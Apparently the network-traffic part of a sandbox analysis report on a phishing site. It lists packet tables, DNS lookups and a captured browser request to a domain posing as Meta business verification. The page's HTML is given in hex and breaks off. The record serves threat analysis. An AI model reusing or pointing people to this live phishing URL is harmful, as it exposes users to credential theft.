Mar 13, 2025 10:50:44.015975952 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.016011953 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.016038895 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.024640083 CET	49770	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.024666071 CET	443	49770	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.035284042 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.035295963 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.035335064 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.035407066 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.035408020 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.048403025 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.048413992 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.048453093 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.048490047 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.048602104 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.070221901 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.070231915 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.070337057 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.070337057 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.479955912 CET	49680	443	192.168.2.4	204.79.197.222
Mar 13, 2025 10:50:44.715049028 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.715065002 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.715118885 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.728053093 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.728064060 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.728147984 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.738686085 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.738791943 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.754493952 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.754602909 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.770236015 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.770329952 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.786040068 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.786106110 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.796792984 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.796906948 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.812500954 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.812614918 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.817677975 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.817759037 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.817779064 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:44.817835093 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.833233118 CET	49769	443	192.168.2.4	103.176.25.236
Mar 13, 2025 10:50:44.833262920 CET	443	49769	103.176.25.236	192.168.2.4
Mar 13, 2025 10:50:45.129771948 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.130065918 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.130079031 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.131253004 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.131325960 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.131711006 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.131795883 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.131843090 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.172331095 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.183062077 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.183079004 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.229986906 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.269471884 CET	55510	53	192.168.2.4	162.159.36.2
Mar 13, 2025 10:50:45.274173021 CET	53	55510	162.159.36.2	192.168.2.4
Mar 13, 2025 10:50:45.274252892 CET	55510	53	192.168.2.4	162.159.36.2
Mar 13, 2025 10:50:45.279149055 CET	53	55510	162.159.36.2	192.168.2.4
Mar 13, 2025 10:50:45.682188988 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682240963 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682266951 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682286024 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682307005 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682317019 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.682337999 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682358027 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.682372093 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682394028 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682401896 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.682409048 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682456970 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.682470083 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.682522058 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.709708929 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.709954977 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.709975958 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.710012913 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.710025072 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.710079908 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.717516899 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.718883991 CET	55510	53	192.168.2.4	162.159.36.2
Mar 13, 2025 10:50:45.720711946 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.720741987 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.720804930 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.720818043 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.720890045 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.723808050 CET	53	55510	162.159.36.2	192.168.2.4
Mar 13, 2025 10:50:45.723860979 CET	55510	53	192.168.2.4	162.159.36.2
Mar 13, 2025 10:50:45.727387905 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.734217882 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.734246016 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.734272003 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.734282017 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.734325886 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.740814924 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.747526884 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.747550964 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.747580051 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.747590065 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.747642040 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.753691912 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.763887882 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.763932943 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.763946056 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.763953924 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.764010906 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.799752951 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.799793959 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.799838066 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.799846888 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.799875975 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:50:45.799962997 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.800358057 CET	49771	443	192.168.2.4	199.232.196.193
Mar 13, 2025 10:50:45.800369024 CET	443	49771	199.232.196.193	192.168.2.4
Mar 13, 2025 10:51:01.684286118 CET	49714	80	192.168.2.4	142.250.185.67
Mar 13, 2025 10:51:01.684493065 CET	49716	80	192.168.2.4	199.232.210.172
Mar 13, 2025 10:51:01.684494019 CET	49718	80	192.168.2.4	199.232.210.172
Mar 13, 2025 10:51:01.817771912 CET	80	49714	142.250.185.67	192.168.2.4
Mar 13, 2025 10:51:01.817786932 CET	80	49716	199.232.210.172	192.168.2.4
Mar 13, 2025 10:51:01.817806005 CET	80	49718	199.232.210.172	192.168.2.4
Mar 13, 2025 10:51:01.817840099 CET	49714	80	192.168.2.4	142.250.185.67
Mar 13, 2025 10:51:01.817920923 CET	49716	80	192.168.2.4	199.232.210.172
Mar 13, 2025 10:51:01.817922115 CET	49718	80	192.168.2.4	199.232.210.172
Mar 13, 2025 10:51:02.656821012 CET	49715	443	192.168.2.4	2.19.122.14
Mar 13, 2025 10:51:02.657053947 CET	49717	80	192.168.2.4	199.232.210.172
Mar 13, 2025 10:51:02.657093048 CET	49719	80	192.168.2.4	2.17.190.73
Mar 13, 2025 10:51:20.714245081 CET	49754	443	192.168.2.4	104.18.11.207
Mar 13, 2025 10:51:20.714257002 CET	443	49754	104.18.11.207	192.168.2.4
Mar 13, 2025 10:51:22.839312077 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:22.839351892 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:22.839445114 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:22.839900017 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:22.839915037 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:24.908040047 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:24.908350945 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:24.908368111 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:24.908729076 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:24.909282923 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:24.909352064 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:24.948759079 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:31.847285986 CET	55809	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:31.852027893 CET	53	55809	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:31.852160931 CET	55809	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:31.852160931 CET	55809	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:31.856920004 CET	53	55809	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:32.315274000 CET	53	55809	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:32.315692902 CET	55809	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:32.316152096 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:32.316188097 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:32.316278934 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:32.316746950 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:32.316760063 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:32.320645094 CET	53	55809	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:32.320699930 CET	55809	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:34.116969109 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.117477894 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.117499113 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.118556023 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.118637085 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.119889975 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.119961977 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.120121956 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.120131016 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.167378902 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.579322100 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:34.579472065 CET	443	55517	216.58.206.36	192.168.2.4
Mar 13, 2025 10:51:34.579549074 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:34.592978954 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.593391895 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.593477964 CET	443	55810	142.250.105.94	192.168.2.4
Mar 13, 2025 10:51:34.593537092 CET	55810	443	192.168.2.4	142.250.105.94
Mar 13, 2025 10:51:34.825041056 CET	55517	443	192.168.2.4	216.58.206.36
Mar 13, 2025 10:51:34.825072050 CET	443	55517	216.58.206.36	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 10:50:18.617285013 CET	53	61742	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:18.677813053 CET	53	64670	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:22.095698118 CET	53	62515	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:22.360173941 CET	53	52561	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:22.361211061 CET	53	50811	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:22.777934074 CET	53860	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:22.778227091 CET	53875	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:22.784614086 CET	53	53860	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:22.784651041 CET	53	53875	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:24.271421909 CET	61454	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:24.276431084 CET	50292	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:24.285559893 CET	53	61454	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:24.290390015 CET	53	50292	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:27.822588921 CET	53	49964	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:31.131702900 CET	62373	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:31.131895065 CET	56392	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:31.132323980 CET	64128	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:31.132419109 CET	59910	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:31.138605118 CET	53	62373	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:31.138693094 CET	53	56392	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:31.140379906 CET	53	59910	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:31.143810987 CET	53	64128	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:34.525790930 CET	52663	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:34.525902033 CET	58738	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:34.538521051 CET	53	52663	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:34.539226055 CET	53	58738	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:35.726308107 CET	53	62624	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:39.660768032 CET	56935	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:39.660950899 CET	64433	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:39.681416035 CET	53	64433	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:39.709100008 CET	53	56935	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:42.938646078 CET	64475	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:42.938826084 CET	62531	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:42.946192980 CET	53	62531	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:42.964976072 CET	53	64475	1.1.1.1	192.168.2.4
Mar 13, 2025 10:50:45.268456936 CET	53	54938	162.159.36.2	192.168.2.4
Mar 13, 2025 10:50:45.740871906 CET	65403	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:50:45.748773098 CET	53	65403	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:18.126719952 CET	138	138	192.168.2.4	192.168.2.255
Mar 13, 2025 10:51:22.829566002 CET	54149	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:22.838221073 CET	53	54149	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:30.829030037 CET	57014	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:30.835885048 CET	53	57014	1.1.1.1	192.168.2.4
Mar 13, 2025 10:51:31.839916945 CET	57014	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:51:31.846883059 CET	53	57014	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 10:50:22.777934074 CET	192.168.2.4	1.1.1.1	0x3415	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:22.778227091 CET	192.168.2.4	1.1.1.1	0x3b6c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:24.271421909 CET	192.168.2.4	1.1.1.1	0xb81a	Standard query (0)	metabussiness-helper-verify24h-now.abaytravel.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:24.276431084 CET	192.168.2.4	1.1.1.1	0x5378	Standard query (0)	metabussiness-helper-verify24h-now.abaytravel.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:31.131702900 CET	192.168.2.4	1.1.1.1	0x98ad	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:31.131895065 CET	192.168.2.4	1.1.1.1	0x4046	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:31.132323980 CET	192.168.2.4	1.1.1.1	0xef93	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:31.132419109 CET	192.168.2.4	1.1.1.1	0xebb5	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:34.525790930 CET	192.168.2.4	1.1.1.1	0x1343	Standard query (0)	metabussiness-helper-verify24h-now.abaytravel.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:34.525902033 CET	192.168.2.4	1.1.1.1	0x1bed	Standard query (0)	metabussiness-helper-verify24h-now.abaytravel.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:39.660768032 CET	192.168.2.4	1.1.1.1	0x2149	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:39.660950899 CET	192.168.2.4	1.1.1.1	0xe09b	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:42.938646078 CET	192.168.2.4	1.1.1.1	0xeea5	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:42.938826084 CET	192.168.2.4	1.1.1.1	0x75dc	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Mar 13, 2025 10:50:45.740871906 CET	192.168.2.4	1.1.1.1	0xc0d4	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Mar 13, 2025 10:51:22.829566002 CET	192.168.2.4	1.1.1.1	0x3dda	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:51:30.829030037 CET	192.168.2.4	1.1.1.1	0x501c	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:51:31.839916945 CET	192.168.2.4	1.1.1.1	0x501c	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:51:31.852160931 CET	192.168.2.4	1.1.1.1	0x1	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 10:50:22.784614086 CET	1.1.1.1	192.168.2.4	0x3415	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:22.784651041 CET	1.1.1.1	192.168.2.4	0x3b6c	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 13, 2025 10:50:24.285559893 CET	1.1.1.1	192.168.2.4	0xb81a	No error (0)	metabussiness-helper-verify24h-now.abaytravel.com		103.176.25.236	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:31.138605118 CET	1.1.1.1	192.168.2.4	0x98ad	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:31.138605118 CET	1.1.1.1	192.168.2.4	0x98ad	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:31.138693094 CET	1.1.1.1	192.168.2.4	0x4046	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 13, 2025 10:50:31.140379906 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Mar 13, 2025 10:50:31.143810987 CET	1.1.1.1	192.168.2.4	0xef93	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:31.143810987 CET	1.1.1.1	192.168.2.4	0xef93	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:34.538521051 CET	1.1.1.1	192.168.2.4	0x1343	No error (0)	metabussiness-helper-verify24h-now.abaytravel.com		103.176.25.236	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:39.681416035 CET	1.1.1.1	192.168.2.4	0xe09b	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:50:39.709100008 CET	1.1.1.1	192.168.2.4	0x2149	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:50:39.709100008 CET	1.1.1.1	192.168.2.4	0x2149	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:39.709100008 CET	1.1.1.1	192.168.2.4	0x2149	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:42.946192980 CET	1.1.1.1	192.168.2.4	0x75dc	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:50:42.964976072 CET	1.1.1.1	192.168.2.4	0xeea5	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:50:42.964976072 CET	1.1.1.1	192.168.2.4	0xeea5	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:42.964976072 CET	1.1.1.1	192.168.2.4	0xeea5	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:50:45.748773098 CET	1.1.1.1	192.168.2.4	0xc0d4	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Mar 13, 2025 10:51:22.838221073 CET	1.1.1.1	192.168.2.4	0x3dda	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:51:30.835885048 CET	1.1.1.1	192.168.2.4	0x501c	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:51:30.835885048 CET	1.1.1.1	192.168.2.4	0x501c	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:51:32.315274000 CET	1.1.1.1	192.168.2.4	0x1	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:51:32.315274000 CET	1.1.1.1	192.168.2.4	0x1	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.105.94	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

metabussiness-helper-verify24h-now.abaytravel.com

cdnjs.cloudflare.com

i.imgur.com

beacons.gcp.gvt2.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:26 UTC	726	OUT	GET /meta-community-standard.php HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:27 UTC	204	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:22 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-13 09:50:27 UTC	7988	IN	Data Raw: 31 66 63 65 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 75 73 22 20 69 64 3d 22 68 74 6d 6c 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 67 75 72 2e 63 6f 6d 2f 77 33 63 4e 6a 72 69 2e 6a 70 65 67 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 20 68 61 76 65 20 73 63 